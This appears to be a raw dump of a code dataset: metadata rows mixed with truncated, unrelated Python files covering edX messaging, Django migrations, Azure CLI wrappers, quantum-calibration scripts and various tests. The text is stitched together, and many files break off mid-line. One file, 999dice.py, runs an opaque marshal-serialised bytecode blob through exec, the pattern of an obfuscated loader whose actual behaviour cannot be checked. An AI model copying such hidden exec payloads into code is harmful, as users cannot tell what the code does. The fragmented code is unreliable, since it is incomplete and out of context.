load... | 43.301546 | 150 | 0.59306 | 1,817 | 16,801 | 5.349477 | 0.075399 | 0.028086 | 0.07037 | 0.113374 | 0.877984 | 0.85679 | 0.850514 | 0.845782 | 0.840329 | 0.840329 | 0 | 0.014908 | 0.24939 | 16,801 | 387 | 151 | 43.413437 | 0.755848 | 0.006964 | 0 | 0.77673 | 0 | 0 | 0.24445 | 0.005731 | 0 | 0 | 0 | 0 | 0.119497 | 1 | 0.053459 | false | 0 | 0.025157 | 0 | 0.081761 | 0.003145 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f3a6442c3d3afb20d206f0fc9be2d9073e66898b | 1,166 | py | Python | Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/common/djangoapps/student/message_types.py | osoco/better-ways-of-thinking-about-software | 83e70d23c873509e22362a09a10d3510e10f6992 | [
"MIT"
] | 3 | 2021-12-15T04:58:18.000Z | 2022-02-06T12:15:37.000Z | Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/common/djangoapps/student/message_types.py | osoco/better-ways-of-thinking-about-software | 83e70d23c873509e22362a09a10d3510e10f6992 | [
"MIT"
] | null | null | null | Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/common/djangoapps/student/message_types.py | osoco/better-ways-of-thinking-about-software | 83e70d23c873509e22362a09a10d3510e10f6992 | [
"MIT"
] | 1 | 2019-01-02T14:38:50.000Z | 2019-01-02T14:38:50.000Z | """
ACE message types for the student module.
"""
from openedx.core.djangoapps.ace_common.message import BaseMessageType
class AccountRecovery(BaseMessageType):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.options['transactional'] = True
class EmailChange(BaseMe... | 23.795918 | 70 | 0.668954 | 112 | 1,166 | 6.526786 | 0.267857 | 0.164159 | 0.180575 | 0.213406 | 0.715458 | 0.715458 | 0.715458 | 0.715458 | 0.715458 | 0.715458 | 0 | 0 | 0.187822 | 1,166 | 48 | 71 | 24.291667 | 0.771911 | 0.035163 | 0 | 0.72 | 0 | 0 | 0.06983 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.24 | false | 0 | 0.04 | 0 | 0.52 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 10 |
34232782cec185d53f26776a9fe36ad4fcf0b35c | 190 | py | Python | 4/test.py | remihuguet/aoc2015 | 7c66a3f1672bf1a72a7a99bbba2951bdfe1523e0 | [
"MIT"
] | null | null | null | 4/test.py | remihuguet/aoc2015 | 7c66a3f1672bf1a72a7a99bbba2951bdfe1523e0 | [
"MIT"
] | null | null | null | 4/test.py | remihuguet/aoc2015 | 7c66a3f1672bf1a72a7a99bbba2951bdfe1523e0 | [
"MIT"
] | null | null | null | import pytest
import mining
def test_compute_lowest_md5_hash():
assert mining.compute_lowest_md5_hash('abcdef') == 609043
assert mining.compute_lowest_md5_hash('pqrstuv') == 1048970 | 31.666667 | 63 | 0.794737 | 26 | 190 | 5.423077 | 0.538462 | 0.276596 | 0.340426 | 0.425532 | 0.453901 | 0.453901 | 0 | 0 | 0 | 0 | 0 | 0.095238 | 0.115789 | 190 | 6 | 63 | 31.666667 | 0.744048 | 0 | 0 | 0 | 0 | 0 | 0.068063 | 0 | 0 | 0 | 0 | 0 | 0.4 | 1 | 0.2 | true | 0 | 0.4 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
34271f0ad3d054d0ec8ce6da083da8e1b484b4b6 | 173 | py | Python | presqt/targets/osf/utilities/exceptions/exceptions.py | djordjetrajkovic/presqt | 8424b61b1c5b8d29de74c7a333889d9e9eb7aee8 | [
"Apache-2.0"
] | 3 | 2019-01-29T19:45:25.000Z | 2020-12-01T18:24:51.000Z | presqt/targets/osf/utilities/exceptions/exceptions.py | djordjetrajkovic/presqt | 8424b61b1c5b8d29de74c7a333889d9e9eb7aee8 | [
"Apache-2.0"
] | 419 | 2018-09-13T23:11:15.000Z | 2021-09-22T17:49:00.000Z | presqt/targets/osf/utilities/exceptions/exceptions.py | djordjetrajkovic/presqt | 8424b61b1c5b8d29de74c7a333889d9e9eb7aee8 | [
"Apache-2.0"
] | 2 | 2020-04-10T08:19:41.000Z | 2021-01-04T15:29:42.000Z | from presqt.utilities import PresQTResponseException
class OSFNotFoundError(PresQTResponseException):
pass
class OSFForbiddenError(PresQTResponseException):
pass | 19.222222 | 52 | 0.83815 | 13 | 173 | 11.153846 | 0.692308 | 0.372414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121387 | 173 | 9 | 53 | 19.222222 | 0.953947 | 0 | 0 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.4 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 7 |
342bcca950541568135138f6c0a6e068f7fcb07b | 29,191 | py | Python | pycqed/measurement/Simultaneous_Tmiddle_landscape.py | nuttamas/PycQED_py3 | 1ee35c7428d36ed42ba4afb5d4bda98140b2283e | [
"MIT"
] | 60 | 2016-08-03T10:00:18.000Z | 2021-11-10T11:46:16.000Z | pycqed/measurement/Simultaneous_Tmiddle_landscape.py | nuttamas/PycQED_py3 | 1ee35c7428d36ed42ba4afb5d4bda98140b2283e | [
"MIT"
] | 512 | 2016-08-03T17:10:02.000Z | 2022-03-31T14:03:43.000Z | pycqed/measurement/Simultaneous_Tmiddle_landscape.py | nuttamas/PycQED_py3 | 1ee35c7428d36ed42ba4afb5d4bda98140b2283e | [
"MIT"
] | 34 | 2016-10-19T12:00:52.000Z | 2022-03-19T04:43:26.000Z | ###########################################
# VCZ calibration (coarse landscape) FLUX dance 1
###########################################
file_cfg = gc.generate_config(in_filename=input_file,
out_filename=config_fn,
mw_pulse_duration=20,
... | 41.941092 | 115 | 0.628892 | 4,163 | 29,191 | 3.993995 | 0.067259 | 0.070007 | 0.03356 | 0.052204 | 0.93685 | 0.923678 | 0.895832 | 0.892584 | 0.879533 | 0.864317 | 0 | 0.056031 | 0.232092 | 29,191 | 695 | 116 | 42.001439 | 0.685716 | 0.067041 | 0 | 0.783929 | 1 | 0 | 0.122819 | 0.052535 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.010714 | 0 | 0.010714 | 0.010714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
345ebd2c9af9b4509e2d2ee019d2c8a4305044c3 | 22,393 | py | Python | 999dice.py | rafid1841/bot | 92ea427ca0f70b092b5855b04f633d5b11b51463 | [
"Unlicense"
] | null | null | null | 999dice.py | rafid1841/bot | 92ea427ca0f70b092b5855b04f633d5b11b51463 | [
"Unlicense"
] | null | null | null | 999dice.py | rafid1841/bot | 92ea427ca0f70b092b5855b04f633d5b11b51463 | [
"Unlicense"
] | null | null | null | import marshal
#Premium Only
exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00@\x00\x00\x00sz\x04\x00\x00d\x00d\x01l\x00Z\x00d\x00d\x01l\x01Z\x01d\x00d\x01l\x02Z\x02d\x00d\x01l\x03Z\x03d\x00d\x01l\x04Z\x04d\x00d\x01l\x05Z\x05d\x00d\x01l\x06Z\x06d\x00d\x01l\x07Z\x0... | 7,464.333333 | 22,362 | 0.750324 | 4,728 | 22,393 | 3.539975 | 0.153342 | 0.083169 | 0.04732 | 0.031547 | 0.551891 | 0.507498 | 0.465197 | 0.431917 | 0.392543 | 0.36721 | 0 | 0.355739 | 0.014067 | 22,393 | 3 | 22,362 | 7,464.333333 | 0.402346 | 0.000536 | 0 | 0 | 0 | 5 | 0.728093 | 0.501854 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0.5 | 0 | 0.5 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 12 |
caab2305bc37b95b653741ba3836ce43b11ae552 | 10,601 | py | Python | tests/test_number.py | marcodeangelis/intervals | b4ab675e7b01fbda25b990b44553c3b5b922ae1d | [
"MIT"
] | 6 | 2022-02-21T15:38:41.000Z | 2022-03-08T13:55:02.000Z | tests/test_number.py | marcodeangelis/intervals | b4ab675e7b01fbda25b990b44553c3b5b922ae1d | [
"MIT"
] | 4 | 2022-02-21T15:16:39.000Z | 2022-02-21T18:00:44.000Z | tests/test_number.py | marcodeangelis/intervals | b4ab675e7b01fbda25b990b44553c3b5b922ae1d | [
"MIT"
] | null | null | null | import unittest
import logging
import sys
import numpy
from intervals.number import Interval as I
from intervals.methods import (intervalise,lo,hi)
from .interval_generator import pick_endpoints_at_random_uniform
class TestIntervalArithmetic(unittest.TestCase):
def test_addition_by_endpoints_analysis(self):
... | 47.752252 | 93 | 0.614187 | 1,641 | 10,601 | 3.711761 | 0.071907 | 0.193072 | 0.083073 | 0.21146 | 0.856345 | 0.799704 | 0.783123 | 0.742571 | 0.714004 | 0.621901 | 0 | 0.031874 | 0.263088 | 10,601 | 222 | 94 | 47.752252 | 0.747824 | 0.10999 | 0 | 0.555556 | 0 | 0 | 0.00087 | 0 | 0 | 0 | 0 | 0 | 0.322222 | 1 | 0.061111 | false | 0 | 0.038889 | 0 | 0.105556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
caf07443beec9efe7e0a6e3dc4e5c8f6b931d079 | 165 | py | Python | models/__init__.py | LeoZDong/detr | fbd1b41d58fa1b7a65f6a5a39a74368f8b823e07 | [
"Apache-2.0"
] | null | null | null | models/__init__.py | LeoZDong/detr | fbd1b41d58fa1b7a65f6a5a39a74368f8b823e07 | [
"Apache-2.0"
] | null | null | null | models/__init__.py | LeoZDong/detr | fbd1b41d58fa1b7a65f6a5a39a74368f8b823e07 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
from .detr import build
def build_model(args, pdif_args):
return build(args, pdif_args)
| 23.571429 | 70 | 0.751515 | 25 | 165 | 4.84 | 0.76 | 0.132231 | 0.198347 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163636 | 165 | 6 | 71 | 27.5 | 0.876812 | 0.412121 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
1b9cc2d706fefdb060adf85ec3c9652acfa8bffc | 2,732 | py | Python | test/strings/prefixes2.py | kylebarron/MagicPython | da6fa0793e2c85d3bf7709ff1d4f65ccf468db11 | [
"MIT"
] | 1,482 | 2015-10-16T21:59:32.000Z | 2022-03-30T11:44:40.000Z | test/strings/prefixes2.py | kylebarron/MagicPython | da6fa0793e2c85d3bf7709ff1d4f65ccf468db11 | [
"MIT"
] | 226 | 2015-10-15T15:53:44.000Z | 2022-03-25T03:08:27.000Z | test/strings/prefixes2.py | kylebarron/MagicPython | da6fa0793e2c85d3bf7709ff1d4f65ccf468db11 | [
"MIT"
] | 129 | 2015-10-20T02:41:49.000Z | 2022-03-22T01:44:36.000Z | a = U'S T R'
a = B'S T R'
a = R'S T R'
a = BR'S T R'
a = RB'S T R'
a : source.python
: source.python
= : keyword.operator.assignment.python, source.python
: source.python
U : source.python, storage.type.string.python, string.quoted.single.python
' ... | 55.755102 | 113 | 0.644949 | 324 | 2,732 | 5.438272 | 0.074074 | 0.272418 | 0.255392 | 0.204313 | 0.980704 | 0.980704 | 0.980704 | 0.980704 | 0.937571 | 0.876844 | 0 | 0 | 0.243777 | 2,732 | 48 | 114 | 56.916667 | 0.852856 | 0 | 0 | 0.577778 | 0 | 0.111111 | 0.009151 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
9409769d1852313ea878c94806b7f335dbbb9135 | 81 | py | Python | src/common.py | Y-Ysss/minimal_git.py | d0e105b3408002cdeb113b3b7ed4373eb2e66840 | [
"MIT"
] | null | null | null | src/common.py | Y-Ysss/minimal_git.py | d0e105b3408002cdeb113b3b7ed4373eb2e66840 | [
"MIT"
] | null | null | null | src/common.py | Y-Ysss/minimal_git.py | d0e105b3408002cdeb113b3b7ed4373eb2e66840 | [
"MIT"
] | null | null | null | import os
import os
def is_windows() -> bool:
return os.name == 'nt'
| 11.571429 | 27 | 0.580247 | 12 | 81 | 3.833333 | 0.75 | 0.347826 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.296296 | 81 | 6 | 28 | 13.5 | 0.807018 | 0 | 0 | 0.5 | 0 | 0 | 0.026667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 8 |
947b0f5a3c05992bf1974b51a59fb096e6a433c2 | 165 | py | Python | ajenga/protocol/__init__.py | project-ajenga/Core | 10a866f541d86298f7ed3922754d5232fe820b25 | [
"MIT"
] | null | null | null | ajenga/protocol/__init__.py | project-ajenga/Core | 10a866f541d86298f7ed3922754d5232fe820b25 | [
"MIT"
] | null | null | null | ajenga/protocol/__init__.py | project-ajenga/Core | 10a866f541d86298f7ed3922754d5232fe820b25 | [
"MIT"
] | null | null | null | from ajenga.protocol.api import Api
from ajenga.protocol.api import ApiResult
from ajenga.protocol.api import Code
from ajenga.protocol.api import MessageSendResult
| 33 | 49 | 0.854545 | 24 | 165 | 5.875 | 0.333333 | 0.283688 | 0.510638 | 0.595745 | 0.765957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09697 | 165 | 4 | 50 | 41.25 | 0.946309 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
84b3f8a6ecb0fe8531caacfa234f3990907485c4 | 1,815 | py | Python | python/cac_tripplanner/destinations/migrations/0037_auto_20180412_1256.py | azavea/cac-tripplanner | 08eaa7e909484ac04687e078fbecba7e7fdc452e | [
"Apache-2.0"
] | 13 | 2015-08-07T13:54:53.000Z | 2020-10-20T18:59:01.000Z | python/cac_tripplanner/destinations/migrations/0037_auto_20180412_1256.py | azavea/cac-tripplanner | 08eaa7e909484ac04687e078fbecba7e7fdc452e | [
"Apache-2.0"
] | 1,177 | 2015-01-15T16:46:38.000Z | 2022-03-29T13:37:37.000Z | python/cac_tripplanner/destinations/migrations/0037_auto_20180412_1256.py | azavea/cac-tripplanner | 08eaa7e909484ac04687e078fbecba7e7fdc452e | [
"Apache-2.0"
] | 7 | 2015-01-19T20:10:38.000Z | 2019-10-16T05:57:47.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.12 on 2018-04-12 16:56
from django.db import migrations
import image_cropping.fields
class Migration(migrations.Migration):
dependencies = [
('destinations', '0036_extradestinationpicture_extraeventpicture'),
]
operations = [
migration... | 49.054054 | 275 | 0.694766 | 216 | 1,815 | 5.601852 | 0.282407 | 0.066116 | 0.078512 | 0.095868 | 0.826446 | 0.826446 | 0.784298 | 0.752066 | 0.752066 | 0.752066 | 0 | 0.047814 | 0.193388 | 1,815 | 36 | 276 | 50.416667 | 0.778689 | 0.038017 | 0 | 0.714286 | 1 | 0 | 0.231784 | 0.026391 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.178571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ca55d9254ac0a9f62fe4d810319c6094df2b31e2 | 5,653 | py | Python | frappe/desk/doctype/dashboard_chart/test_dashboard_chart.py | prasadarr/frappe | 7159dc8046f1c2664f735890befbbba1c3b16b7e | [
"MIT"
] | 1 | 2021-02-17T03:02:00.000Z | 2021-02-17T03:02:00.000Z | frappe/desk/doctype/dashboard_chart/test_dashboard_chart.py | sagarvora/frappe | 8450afaa97c2a0f046eddaa493a88c2b4eb9dd5a | [
"MIT"
] | null | null | null | frappe/desk/doctype/dashboard_chart/test_dashboard_chart.py | sagarvora/frappe | 8450afaa97c2a0f046eddaa493a88c2b4eb9dd5a | [
"MIT"
] | 1 | 2021-06-02T18:11:45.000Z | 2021-06-02T18:11:45.000Z | # -*- coding: utf-8 -*-
# Copyright (c) 2019, Frappe Technologies and Contributors
# See license.txt
from __future__ import unicode_literals
import unittest, frappe
from frappe.utils import getdate
from frappe.desk.doctype.dashboard_chart.dashboard_chart import (get,
get_period_ending)
class TestDashboardChart(unitt... | 37.437086 | 88 | 0.681762 | 821 | 5,653 | 4.612667 | 0.153471 | 0.194085 | 0.227357 | 0.259836 | 0.844996 | 0.824663 | 0.820966 | 0.794032 | 0.71719 | 0.689728 | 0 | 0.114873 | 0.122236 | 5,653 | 150 | 89 | 37.686667 | 0.648327 | 0.059084 | 0 | 0.683761 | 0 | 0 | 0.28566 | 0 | 0 | 0 | 0 | 0 | 0.410256 | 1 | 0.034188 | false | 0 | 0.034188 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
046ceef525ec4e0a7561c9be9bab88d6137c5b6e | 117 | py | Python | src/PatchMatch/__init__.py | harveyslash/Deep-Image-Analogy-TF | 9bda06fbe3a5786217a3db112d2f162573b1dd90 | [
"MIT"
] | 4 | 2018-02-27T21:43:42.000Z | 2021-08-22T14:42:47.000Z | src/PatchMatch/__init__.py | harveyslash/Deep-Image-Analogy-TF | 9bda06fbe3a5786217a3db112d2f162573b1dd90 | [
"MIT"
] | null | null | null | src/PatchMatch/__init__.py | harveyslash/Deep-Image-Analogy-TF | 9bda06fbe3a5786217a3db112d2f162573b1dd90 | [
"MIT"
] | 2 | 2018-02-25T21:50:08.000Z | 2018-11-26T23:42:32.000Z | # from .PatchMatchOrig import PatchMatch as PatchMatchOrig
from .PatchMatchCuda import PatchMatch as PatchMatchOrig
| 29.25 | 58 | 0.854701 | 12 | 117 | 8.333333 | 0.5 | 0.32 | 0.36 | 0.64 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119658 | 117 | 3 | 59 | 39 | 0.970874 | 0.478632 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
04c063038ce7ea86aae86ee8b335d86cd364bfa3 | 3,265 | py | Python | pyaz/iot/dps/access_policy/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/iot/dps/access_policy/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/iot/dps/access_policy/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | 1 | 2022-02-03T09:12:01.000Z | 2022-02-03T09:12:01.000Z | from .... pyaz_utils import _call_az
def list(dps_name, resource_group):
'''
List all shared access policies in an Azure IoT Hub device provisioning service.
Required Parameters:
- dps_name -- IoT Provisioning Service name
- resource_group -- Name of resource group. You can configure the default g... | 42.960526 | 128 | 0.723737 | 456 | 3,265 | 5.04386 | 0.14693 | 0.09913 | 0.073913 | 0.043478 | 0.898696 | 0.898696 | 0.882174 | 0.85087 | 0.836957 | 0.836957 | 0 | 0 | 0.19755 | 3,265 | 75 | 129 | 43.533333 | 0.877863 | 0.694334 | 0 | 0 | 0 | 0 | 0.18946 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.454545 | false | 0 | 0.090909 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
b6cb2c8be6cf884a33d1d0ce8307da3216ba00b9 | 646 | py | Python | response_data/deploy_keys.py | ddeno/pyapi-gitlab | f74b6fb5c13cecae9524997847e928905cc60acf | [
"Apache-2.0"
] | 100 | 2015-12-03T18:59:50.000Z | 2022-03-04T20:25:56.000Z | response_data/deploy_keys.py | ddeno/pyapi-gitlab | f74b6fb5c13cecae9524997847e928905cc60acf | [
"Apache-2.0"
] | 88 | 2015-12-02T08:59:35.000Z | 2020-11-04T10:04:10.000Z | response_data/deploy_keys.py | ddeno/pyapi-gitlab | f74b6fb5c13cecae9524997847e928905cc60acf | [
"Apache-2.0"
] | 51 | 2015-01-04T21:07:22.000Z | 2015-11-30T13:43:18.000Z | get_deploy_keys = [{"id": 1, "title": "Public key", "key": "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAiPWx6WM4lhHNedGfBpPJNPpZ7yKu+dnn1SJejgt4596k6YjzGGphH2TUxwKzxcKDKKezwkpfnxPkSMkuEspGRt/aZZ9wa++Oi7Qkr8prgHc4soW6NUlfDzpvZK2H5E7eQaSeP3SAwGmQKUFHCddNaP0L+hM7zhFNzjFvpaMgJw0=", "can_push": False, "created_at": "2013-10-02T10:1... | 323 | 645 | 0.834365 | 50 | 646 | 10.66 | 0.58 | 0.033771 | 0.045028 | 0.056285 | 0.821764 | 0.821764 | 0.821764 | 0.821764 | 0.821764 | 0.821764 | 0 | 0.129241 | 0.041796 | 646 | 1 | 646 | 646 | 0.731826 | 0 | 0 | 0 | 0 | 0 | 0.835913 | 0.619195 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
b6d5185c2d17040287982cbfcdf49499b6cb7e1a | 5,074 | py | Python | tests/statistical/optimizers/correctness/run-dea.py | JonathanLehner/korali | 90f97d8e2fed2311f988f39cfe014f23ba7dd6cf | [
"MIT"
] | 43 | 2018-07-26T07:20:42.000Z | 2022-03-02T10:23:12.000Z | tests/statistical/optimizers/correctness/run-dea.py | JonathanLehner/korali | 90f97d8e2fed2311f988f39cfe014f23ba7dd6cf | [
"MIT"
] | 212 | 2018-09-21T10:44:07.000Z | 2022-03-22T14:33:05.000Z | tests/statistical/optimizers/correctness/run-dea.py | JonathanLehner/korali | 90f97d8e2fed2311f988f39cfe014f23ba7dd6cf | [
"MIT"
] | 16 | 2018-07-25T15:00:36.000Z | 2022-03-22T14:19:46.000Z | #!/usr/bin/env python3
import os
import sys
import korali
sys.path.append('./model')
sys.path.append('./helpers')
from model import *
from helpers import *
#################################################
# DEA problem definition & run
#################################################
e = korali.Experiment()
e["P... | 24.872549 | 60 | 0.589279 | 644 | 5,074 | 4.642857 | 0.111801 | 0.086622 | 0.077258 | 0.04214 | 0.927759 | 0.927759 | 0.927759 | 0.927759 | 0.927759 | 0.927759 | 0 | 0.040388 | 0.107016 | 5,074 | 203 | 61 | 24.995074 | 0.61951 | 0.025818 | 0 | 0.890625 | 0 | 0 | 0.484602 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.039063 | 0 | 0.039063 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b6dcd186725f73c76289580468e9d9aa499ce39c | 161 | py | Python | vuserver/apitests/parallel/utils.py | vmware/test-automation-for-web-applications | 9a34503f189151136e9e201b341d469719ed1901 | [
"Apache-2.0"
] | 1 | 2022-02-23T02:37:02.000Z | 2022-02-23T02:37:02.000Z | vuserver/apitests/parallel/utils.py | vmware/test-automation-for-web-applications | 9a34503f189151136e9e201b341d469719ed1901 | [
"Apache-2.0"
] | null | null | null | vuserver/apitests/parallel/utils.py | vmware/test-automation-for-web-applications | 9a34503f189151136e9e201b341d469719ed1901 | [
"Apache-2.0"
] | null | null | null | # Copyright 2022 VMware, Inc.
# SPDX-License-Identifier: Apache License 2.0
import time
def return_name():
return {"name": time.strftime("test%Y%m%d%H%M")} | 23 | 52 | 0.701863 | 26 | 161 | 4.307692 | 0.807692 | 0.178571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043165 | 0.136646 | 161 | 7 | 52 | 23 | 0.76259 | 0.440994 | 0 | 0 | 0 | 0 | 0.204545 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
f3d2df9f38049b8d82a57e020dae3be73b1703c2 | 189 | py | Python | theBroker/venv/Lib/site-packages/ttn/github_com/TheThingsNetwork/api/protocol/lorawan/__init__.py | emirgo/WeatherStation | f0f8c3464470991fc962d83cea20f3bcfd6a04b6 | [
"MIT"
] | 32 | 2017-11-01T16:03:48.000Z | 2021-11-16T12:35:34.000Z | theBroker/venv/Lib/site-packages/ttn/github_com/TheThingsNetwork/api/protocol/lorawan/__init__.py | emirgo/WeatherStation | f0f8c3464470991fc962d83cea20f3bcfd6a04b6 | [
"MIT"
